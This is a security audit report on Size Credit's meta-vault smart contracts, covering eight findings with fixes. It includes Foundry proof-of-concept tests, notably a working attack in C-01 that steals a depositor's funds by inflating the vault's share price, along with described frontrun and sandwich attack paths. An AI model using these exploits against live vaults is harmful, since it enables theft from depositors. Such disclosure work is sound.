Obsidian

AUDITS

Size Credit Security Review

Auditors

0xjuaan

0xSpearmint

6th August, 2025

Introduction

Obsidian Audits

Obsidian Audits is a team of top-ranked security researchers, with a publicly proven track record, specialising in DeFi protocols across EVM chains and Solana.

The team has achieved 10+ top-2 placements in audit competitions, placing #1 in competitions for Yearn Finance, Pump.fun, and many more.

Find out more: obsidianaudits.com

Audit Overview

Size Credit is a fixed-rate credit marketplace built on an order book where offers are expressed like yield curves, allowing efficient and continuous pricing across markets and maturities.

Size Credit engaged Obsidian Audits to perform a security review on their Meta-vault and strategies smart contracts. The 3-day review took place from the 24th to the 26th of July, 2025.

Scope

Files in scope

Repo	Files in scope
`size-meta-vault` **Commit hash:** 6f15daffd3c905de814933f0490832c33ce3a242	src/**/*.sol

Summary of Findings

Severity Breakdown

A total of 8 issues were identified and categorized based on severity:

- **1 Critical severity**
- **2 High severity**
- **4 Medium severity**
- **1 Low severity**

Findings Overview

ID	Title	Severity	Status
C-01	Incorrect calculation of `totalAssets()` in the meta vault enables stealing of depositor funds	Critical	Fixed
H-01	Setting the performance fee after users have deposited, will steal a portion of the existing deposits	High	Fixed
H-02	The `removeStrategies` function can be sandwiched to manipulate price-per-share and steal deposited assets	High	Fixed
M-01	Incorrect amount of shares are minted to the fee recipient	Medium	Fixed
M-02	Upon deposits, totalAssets() is stale during performance fee calculation	Medium	Fixed
M-03	`skim`, and `rebalance` (from a removed strategy) can be sandwiched to steal most of the newly added assets	Medium	Fixed
M-04	Depositing and withdrawing will fail if even one strategy cannot be deposited into or withdrawn from	Medium	Fixed
L-01	The `upgradeToAndCall` function does not have any timelock protection	Low	Fixed

Severity Classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Info

Impact

- **High -** leads to a significant material loss of assets in the protocol or significantly harms a group of users.
- **Medium -** leads to a moderate material loss of assets in the protocol or moderately harms a group of users. Alternatively, breaking a core aspect of the protocol's intended functionality
- **Low -** leads to a minor material loss of assets in the protocol or harms a small group of users.

Likelihood

- **High -** attack path is possible with reasonable assumptions that mimic on-chain conditions, and the cost of the attack is relatively low compared to the amount of funds that can be stolen or lost.
- **Medium -** the attack/vulnerability requires minimal or no preconditions, but there is limited or no incentive to exploit it in practice
- **Low -** requires highly unlikely precondition states, or requires a significant attacker capital with little or no incentive.

Findings

[C-01] Incorrect calculation of `totalAssets()` in the meta vault enables stealing of depositor funds

Description

In the `SizeMetaVault`, the `totalAssets()` function is as follows:

```
/// @notice Returns the total assets managed by the vault
// slither-disable-next-line calls-loop
function totalAssets() public view virtual override(ERC4626Upgradeable,
IERC4626) returns (uint256 total) {
    uint256 length = strategies.length;
    for (uint256 i = 0; i < length; i++) {
        total += strategies[i].totalAssets();
    }
}
```

The issue is that it sums the `totalAssets()` for each strategy, but this can include assets which are not actually managed/owned by the meta vault. If assets are directly deposited into an underlying strategy (without going through the meta vault), it increases the `totalAssets()` of the `SizeMetaVault`, without changing the `totalSupply()`.

This means that depositing directly into an underlying strategy will immediately increase the price-per-share of the meta vault. An attacker can exploit this in the following way:

1. Deposit into the meta vault to mint shares at the original rate
2. Deposit into one of the underlying strategies, increasing the meta vault's share price
3. Redeem the attacker's inflated meta vault shares, withdrawing more assets than were deposited in step 1
4. Withdraw assets from the underlying strategy (same number as what was deposited in step 2)

The attacker earns a profit due to step 3, they extract value from existing depositors.

Proof of Concept

Add the following test to `test/local/SizeMetaVault.t.sol`:

```
function test_POC_deposit_directly_to_strategy() public {
    address attacker = makeAddr("attacker");

    uint256 depositAmount = 100_000e6; // 100k USDC
    _mint(erc20Asset, alice, depositAmount);
    _approve(alice, erc20Asset, address(sizeMetaVault), depositAmount);

    uint256 aliceBalanceBefore = erc20Asset.balanceOf(alice);
    vm.prank(alice);
    sizeMetaVault.deposit(depositAmount, alice);

    _mint(erc20Asset, attacker, depositAmount*2);
    _approve(attacker, erc20Asset, address(erc4626StrategyVault),
depositAmount);
    _approve(attacker, erc20Asset, address(sizeMetaVault),
depositAmount);
    uint256 attackerBalanceBefore = erc20Asset.balanceOf(attacker);

    // Perform the 4-step attack
    vm.startPrank(attacker);
    uint256 shares = sizeMetaVault.deposit(depositAmount, attacker); //
deposit into metavault at normal share price

    console.log("[before inflating] pricePerShare: %e",
sizeMetaVault.totalAssets() * 1e6 / sizeMetaVault.totalSupply());
    erc4626StrategyVault.deposit(depositAmount, attacker); // deposit
into underlying strategy to inflate meta vault share price
    console.log("[after inflating] pricePerShare: %e",
sizeMetaVault.totalAssets() * 1e6 / sizeMetaVault.totalSupply());

    sizeMetaVault.redeem(shares, attacker, attacker); // redeem meta
vault shares at higher share price
    erc4626StrategyVault.withdraw(depositAmount, attacker, attacker); //
withdraw from underlying strategy to get back USDC
    console.log("attackerBalance: %e", erc20Asset.balanceOf(attacker));

    console.log("sizeMetaVault.totalAssets(): %e",
sizeMetaVault.totalAssets());
    console.log("sizeMetaVault.totalSupply(): %e",
sizeMetaVault.totalSupply());
```

```
    vm.startPrank(alice);

    sizeMetaVault.redeem(sizeMetaVault.balanceOf(alice), alice, alice);
    uint256 aliceBalanceAfter = erc20Asset.balanceOf(alice);

    assertGt(aliceBalanceBefore, aliceBalanceAfter);
    assertGt(erc20Asset.balanceOf(attacker), attackerBalanceBefore);
    assertEq(sizeMetaVault.balanceOf(alice), 0);
    assertEq(sizeMetaVault.balanceOf(attacker), 0);

    console.log("alice loss: %e", aliceBalanceBefore -
aliceBalanceAfter);
    console.log("attacker profit: %e", erc20Asset.balanceOf(attacker) -
attackerBalanceBefore);
}
```

Console output:

```
[PASS] test_POC_deposit_directly_to_strategy() (gas: 1232967)
Logs:
  [before inflating] pricePerShare: 1.999999e6
  [after inflating] pricePerShare: 2.999699e6
  attackerBalance: 2.49985004498e11
  sizeMetaVault.totalAssets(): 5.0074995503e10
  sizeMetaVault.totalSupply(): 5.0030001667e10
  alice loss: 4.9955031479e10
  attacker profit: 4.9985004498e10

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.43ms
(1.85ms CPU time)
```

Recommendation

Ensure that `SizeMetaVault.totalAssets()` only includes assets owned by the meta vault:

```
function totalAssets() public view virtual override(ERC4626Upgradeable,
IERC4626) returns (uint256 total) {
    uint256 length = strategies.length;
    for (uint256 i = 0; i < length; i++) {
-       total += strategies[i].totalAssets();
+       total +=
strategies[i].convertToAssets(strategies[i].balanceOf(address(this)));
    }
}
```

Remediation: Fixed in commit 1d161af

[H-01] Setting the performance fee after users have deposited, will steal a portion of the existing deposits

Description

If the existing `performanceFeePercent` is 0 and it is later updated to a non-zero value, the `highWaterMark` is not updated to the current price per share (PPS).

As a result, the next `_update` call interprets all existing deposits as "profit" because the stored `highWaterMark` is 0. This causes the vault to mint `performanceFeePercent` worth of shares to the fee recipient, even though no actual profit has been generated, diluting existing depositors and effectively stealing a portion of their assets.

Proof of Concept

Add the following test to `PerformanceVaultTest`

```
function
test_PerformanceVault_setting_fee_later_steals_from_existing_depositors()
public {
    // Alice deposits 6e7
    _deposit(alice, sizeMetaVault, 6e7);

    // Log admin shares before setting the fee
    uint256 sharesBefore = sizeMetaVault.balanceOf(admin);
    console.log("Admin shares before: %e", sharesBefore);

    // Set performance fee of 10%
    vm.prank(admin);
    sizeMetaVault.setPerformanceFeePercent(0.1e18);

    uint256 setPerformanceFeePercentTimelockDuration =

 sizeMetaVault.getTimelockData(sizeMetaVault.setPerformanceFeePercent.sel
ector).duration;
    vm.warp(block.timestamp + setPerformanceFeePercentTimelockDuration);

    vm.prank(admin);
    sizeMetaVault.setPerformanceFeePercent(0.1e18);

    // Alice deposits 1 wei
    _deposit(alice, sizeMetaVault, 1);
```

```
    // Log admin shares after setting the fee
    uint256 sharesAfter = sizeMetaVault.balanceOf(admin);
    console.log("Admin shares after: %e", sharesAfter);

    // Assert that the admin was minted shares
    // Even though the vault has not generated any profit, the admin gets
a portion of existing deposits
    assertGt(sharesAfter, sharesBefore);
}
```

Console output:

```
Ran 1 test for test/local/PerformanceVault.t.sol:PerformanceVaultTest
[PASS]
test_PerformanceVault_setting_fee_later_steals_from_existing_depositors()
(gas: 794492)
Logs:
  Admin shares before: 0e0
  Admin shares after: 1.2e7

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.43ms
(1.50ms CPU time)
```

Recommendation

In the `_setPerformanceFeePercent()` function, if the `performanceFeePercentBefore` is 0, it should also update the `highWaterMark` to the current PPS

```
    function _setPerformanceFeePercent(uint256 performanceFeePercent_)
internal {
        if (performanceFeePercent_ > MAXIMUM_PERFORMANCE_FEE_PERCENT) {
            revert PerformanceFeePercentTooHigh(performanceFeePercent_,
MAXIMUM_PERFORMANCE_FEE_PERCENT);
        }

        uint256 performanceFeePercentBefore = performanceFeePercent;

+         if (performanceFeePercentBefore == 0 && performanceFeePercent_ >
0) {
+             highWaterMark = Math.mulDiv(totalAssets(), PERCENT,
totalSupply());
+           }
        performanceFeePercent = performanceFeePercent_;
        emit PerformanceFeePercentSet(performanceFeePercentBefore,
performanceFeePercent_);
    }
```

Remediation: Fixed in commit b5cc15a

[H-02] The `removeStrategies` function can be sandwiched to manipulate price-per-share and steal deposited assets

Description

In the `removeStrategies()` function, the contract calls `maxWithdraw()` on each strategy and withdraws exactly that amount before removing the strategy:

```
uint256 maxWithdrawAmount = strategyToRemove.maxWithdraw(address(this));
if (maxWithdrawAmount > 0) {
    strategyToRemove.withdraw(maxWithdrawAmount, address(this),
address(this));
}
_removeStrategy(strategyToRemove);
```

If the strategy is one that deposits assets into a lending market, an attacker can **frontrun the strategist's call** to `removeStrategies()` by borrowing all available assets from the lending market, causing `maxWithdraw()` to return `0`.

This results in **no assets being withdrawn** before the strategy is removed. The attacker will then immediately repay the large borrow after the `removeStrategies()` call occured.

As a consequence:

1. The vault's `totalAssets()` drops significantly since the strategy is removed without retrieving its funds, lowering the PPS (price-per-share).
2. The attacker will then deposit a large amount of assets at this low PPS.
3. Later, when the strategist calls `rebalance()` from the removed strategy (to an existing one), the recovered assets significantly increase `totalAssets()`, increasing the PPS.
4. The attacker redeems their shares at the higher PPS, stealing a significant amount of assets.

Recommendation

Consider adding a maximum slippage percentage to `removeStrategies()` to ensure that the call will revert if there is sufficiently low liquidity in the strategy.

Remediation: Fixed in commit de79b93

[M-01] Incorrect amount of shares are minted to the fee recipient

Description

The fee recipient should be minted an amount of shares that will redeem to `performanceFeePercent` of the profit generated by the vault.

In `_update`, the number of shares minted to the fee recipient is miscalculated. The function first calculates `profitPerSharePercent` as `currentPPS - highWaterMark`, which represents the profit per share in asset units scaled by `1e18`. It then uses this value in the following line:

```
uint256 totalProfitShares = Math.mulDiv(profitPerSharePercent,
totalSupply(), PERCENT);
```

The issue is that `profitPerSharePercent` is denominated in assets, and multiplying it by `totalSupply()` produces an **asset amount**, not a share amount as the variable name `totalProfitShares` suggests. This asset-denominated value is then passed into the next calculation for `feeShares`, which is minted to the fee recipient:

```
uint256 feeShares = Math.mulDiv(totalProfitShares, performanceFeePercent,
PERCENT);
```

As a result the fee recipient is minted significantly more shares than they should for the profit generated.

Proof of Concept

Add the following test to `PerformanceVault.t.sol`.
The test fails due to asserting the value of the minted fees, and passes once the recommended fix is applied.

```
function test_PerformanceVault_incorrect_fee_minting() public {

 // Set performance fee of 10%
vm.prank(admin);
sizeMetaVault.setPerformanceFeePercent(0.1e18);
```

```
uint256 setPerformanceFeePercentTimelockDuration =

 sizeMetaVault.getTimelockData(sizeMetaVault.setPerformanceFeePercent.sel
ector).duration;
vm.warp(block.timestamp + setPerformanceFeePercentTimelockDuration);

vm.prank(admin);
sizeMetaVault.setPerformanceFeePercent(0.1e18);

// Donate 30e6 to the vault
uint256 donationAmount = 30e6;
_mint(erc20Asset, alice, donationAmount);
vm.prank(alice);
erc20Asset.transfer(address(sizeMetaVault), donationAmount);

// Call skim on the vault
sizeMetaVault.skim();

// Alice deposits 1 wei to trigger fee minting on the donated amount
_deposit(alice, sizeMetaVault, 1);

// Check fee recipient's shares
uint256 feeRecipientShares =
sizeMetaVault.balanceOf(sizeMetaVault.feeRecipient());
console.log("Fee recipient shares: %e", feeRecipientShares);

// Preview redeem those shares
uint256 previewRedeemAmount =
sizeMetaVault.previewRedeem(feeRecipientShares);
console.log("Preview redeem fee recipient shares: %e",
previewRedeemAmount);

// Log total assets after everything is done
uint256 finalTotalAssets = sizeMetaVault.totalAssets();
console.log("Final total assets: %e", finalTotalAssets);

// Assert that the fee recipient is minted enough shares to withdraw 10%
of the profit == 3e6
// Note: fails before fixing bug (M-01)
assertApproxEqAbs(previewRedeemAmount, donationAmount * 1 / 10, 0.001e6);
}
```

Recommendation

The `_update` function should convert the total profit (in asset units) into shares before minting it to the fee recipient

```
uint256 currentPPS = Math.mulDiv(totalAssets(), PERCENT, totalSupply());
uint256 highWaterMarkBefore = highWaterMark;
if (currentPPS > highWaterMarkBefore) {
-       uint256 profitPerSharePercent = currentPPS - highWaterMarkBefore;
-       uint256 totalProfitShares = Math.mulDiv(profitPerSharePercent, totalSupply(), PERCENT);
-       uint256 feeShares = Math.mulDiv(totalProfitShares, performanceFeePercent, PERCENT);
+       uint256 profitPerSharePercent = currentPPS - highWaterMarkBefore;
+
+       uint256 totalProfitAssets = Math.mulDiv(profitPerSharePercent, totalSupply(), PERCENT);
+       uint256 feeAssets = Math.mulDiv(totalProfitAssets, performanceFeePercent, PERCENT);
+
+       uint256 feeShares = Math.mulDiv(feeAssets, totalSupply() + 10 ** _decimalsOffset(), totalAssets() + 1 - feeAssets);
```

Remediation: Fixed in commit 1b1da41

[M-02] Upon deposits, totalAssets() is stale during performance fee calculation

Description

The `ERC20::_update()` function is overriden in the `PerformanceVault` to take a fee on profits earned by the vault:

```
function _update(address from, address to, uint256 value) internal
override {
    super._update(from, to, value);

    if (performanceFeePercent == 0) {
        return;
    }

    uint256 currentPPS = Math.mulDiv(totalAssets(), PERCENT,
totalSupply());
    uint256 highWaterMarkBefore = highWaterMark;
    if (currentPPS > highWaterMarkBefore) {
        uint256 profitPerSharePercent = currentPPS - highWaterMarkBefore;

        uint256 totalProfitShares = Math.mulDiv(profitPerSharePercent,
totalSupply(), PERCENT);
        uint256 feeShares = Math.mulDiv(totalProfitShares,
performanceFeePercent, PERCENT);

        if (feeShares > 0) {
            highWaterMark = currentPPS;
            emit HighWaterMarkUpdated(highWaterMarkBefore, currentPPS);

            _mint(feeRecipient, feeShares);
            emit PerformanceFeeMinted(feeRecipient, feeShares,
convertToAssets(feeShares));
        }
    }
}
```

The `_deposit()` function first calls `super._deposit()` (which calls `_update()`), and then deposits the received assets into the underlying strategies:

```
/// @notice Deposits assets to strategies in order
/// @dev Tries to deposit to strategies sequentially, reverts if not all
assets can be deposited
function _deposit(address caller, address receiver, uint256 assets,
uint256 shares) internal override {
    if (_isInitializing()) {
        // first deposit
        shares = assets;
    }
    super._deposit(caller, receiver, assets, shares); //@audit this calls
`_update()`

    _depositToStrategies(assets, shares);
}
```

Since `_deposit()` mints shares to the receiver, it will increase the `totalSupply()` of the vault, and also call the overriden `_update()` function.

The issue is that during `_update()`, `_depositToStrategies()` has not been called yet, so `totalAssets()` will not be up to date (since `totalAssets()` sums the total assets deposited into the strategies).

Impact

Upon deposits, the `currentPPS` calculated in `_update()` will be artificially deflated, due to `totalSupply()` including the minted shares, but `totalAssets()` not including the deposited assets. This will cause fee to not accrue on occasions when it should.

Recommendation

Consider handling the performance fee accrual at the start of any deposit/withdraw/mint/redeem action, before any state has changed (instead of doing so in `_update()`)

Remediation: Fixed in commit 202e82b

[M-03] `skim`, and `rebalance` (from a removed strategy) can be sandwiched to steal most of the newly added assets

Description

Calling `skim()` or `rebalance()` (when rebalancing **from a removed strategy** to an existing one) increases the vault's `totalAssets()` without minting new shares. This raises the price-per-share (PPS).

An attacker can sandwich these calls for a profit:

1. Frontrun and deposit a large amount of assets, minting shares at the current lower PPS.
2. `skim()` or `rebalance()` (from a removed strategy) is executed, increasing `totalAssets` and thus PPS.
3. Redeem all shares at the now increased PPS, profiting a significant portion of the assets contributed to the vault during `skim()` or `rebalance()`.

Recommendation

Remediation: Fixed in commit 2b70027

[M-04] Depositing and withdrawing will fail if even one strategy cannot be deposited into or withdrawn from

Description

The `_depositToStrategies()` and `_withdrawFromStrategies()` functions iterate across the array of `strategies` and attempt to withdraw from them.

The intended functionality is to deposit/withdraw as much as possible, and then move onto the next one if there are still more assets to process.

The issue is the following:

```
uint256 depositAmount = Math.min(assetsToDeposit, strategyMaxDeposit);

// slither-disable-next-line incorrect-equality
if (depositAmount == 0) {
    break;
}
```

If the available amount to deposit in a specific strategy is `0`, rather than moving on to the next strategy, the loop is exited. As a result, the deposit will revert due to the following check:

```
if (assetsToDeposit > 0) {
    revert CannotDepositToStrategies(assets, shares, assetsToDeposit);
}
```

The same error arises in `_withdrawFromStrategies()`

Recommendation

Rather than exiting the loop, use `continue` to move on to the next strategy in the array.

Remediation: Fixed in commit a602b63

[L-01] The `upgradeToAndCall` function does not have any timelock protection

Description

The `setPerformanceFeePercent` function is gated by a timelock to prevent the `DEFAULT_ADMIN_ROLE` from instantly increasing fees.

However, the inherited `upgradeToAndCall` function from `UUPSUpgradeable` has no timelock protection. Therefore the `DEFAULT_ADMIN_ROLE` can upgrade the implementation to code that includes a different `setPerformanceFeePercent` function without a timelock, to instantly increase it, effectively bypassing the protections intended by the existing timelock.

Recommendation

Consider enforcing a timelock in the `_authorizeUpgrade` function:

```
function _authorizeUpgrade(address newImplementation) internal override
onlyAuth(DEFAULT_ADMIN_ROLE) {
+    if (_updateTimelockStateAndCheckIfTimelocked()) {
+        return;
    }
}
```

Remediation: Fixed in commit 69414ff